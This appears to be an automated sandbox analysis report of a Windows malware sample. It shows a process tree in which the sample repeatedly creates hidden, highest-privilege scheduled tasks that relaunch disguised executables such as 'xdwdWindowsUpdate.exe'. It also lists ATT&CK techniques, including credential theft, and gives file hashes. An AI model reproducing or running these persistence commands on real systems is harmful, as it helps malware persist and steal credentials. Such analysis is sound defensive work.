  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5340
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:900

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3920
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:552
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:4312
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3288
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2320

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3572
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1772
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6864
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2388
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5248

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4624
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4136
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:6920
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2088
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3392

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:6012
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7140
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7700
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2008
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7780

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5996
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5964
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7020
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6184
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7228

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5220
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7064
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7624
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5976
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7740

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:6036
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6968
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7672
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6792
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7764

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2220
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7088
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7656
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:656
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7716

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5608
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6356
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7256
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7108
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7664

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5624
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7376
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7080
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7640

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1444
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7040
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7300
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5604
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7748

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1916
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6552
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7384
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6956
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7680

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2540
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6760
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7272
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4172
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7732

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4844
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6780
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7284
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5940
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7336

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3228
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6484
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7360
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7072
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7632

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5176
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6544
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7392
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6748
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7264

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5204
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6476
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7400
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5216
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7708

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3944
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6504
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7352
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6984
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7604

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4344
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7096
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7648
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1300
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7756

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:968
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7116
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7688
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5612
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7772

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1736
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7008
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:7312
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5816
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7724

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3784
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4752
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7248
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6468
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:4424

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2160
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5716
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:5252
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5984
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7208

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4864
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6560
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7368
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6696
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7484

C:\Windows\Sub\xdwdMalwareDef.exe
C:\Windows\Sub\xdwdMalwareDef.exe
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2584
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4380
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:4556
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2352
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
MD5 fe3aab3ae544a134b68e881b82b70169
SHA1 926e9b4e527ae1bd9b3b25726e1f59d5a34d36a6
SHA512 3fbd3499d98280b6c79c67b0ee183b27692dbc31acf103b4f8ca4dcdf392afff2b3aad500037f4288581ed37e85f45c3bbb5dcde11cddf3ef0609f44b2ecb280
TLSH
T17F71FE313275B0D4C8567F071E2819C453BF4386EAA4AF4CB25C621EDD2641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a9290a74e348b7b914a4bc50f7d51847dcb06eb96723911a636407b54335ff3c
MD5 17dc9fc397f7da1ddd5ce5d2817952be
SHA1 1a43dc03bf5318120a8b21d74c90df67ec082387
SHA512 d41be011ed7e5f37a3dfec4df36e134feba7a2a09414b3a258716ae993267300c133818a43c31ff55f489b434e4da49e91779e71bd6cff370313dc834e1bd22f
TLSH
T15731B827B3DC89E4C886023A009E9C2077B692C380DECFDBBBC4D604A57F688CF61180
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 539d29d74d8552931b06dbe8d3801db3c181ddb42c0ee2d9bcc1d4b35ac07621
MD5 0fe11a11e214484e68b149bdc87d5529
SHA1 3b95dd7a5a812266a3db36a0dc10d61e76eaeffe
SHA512 4b7d2d67ea699508257fa3af073562ca00112d33c40fb53a2a875e7c96a7f5e62e94d26c3b77ecc3c214c8e975dd77e4cc848e3c0ceb6b128c2cd8ac0cac69c1
TLSH
T151318827B3DC89E4C896063A009E9D1077B692D391DECFDB7BC4D604A57F688CF61180
MD5 SHA1 SHA512 TLSH

Submit Download

HolyCheck.exe

Path C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
Size 1.1MB
SHA256 d16bf501c85a57516a504e87cab5ef038719b777b7e7151263f8b0d0eca8d8b4
MD5 2ea64b25d639dcc5cbfee7a07d6765f4
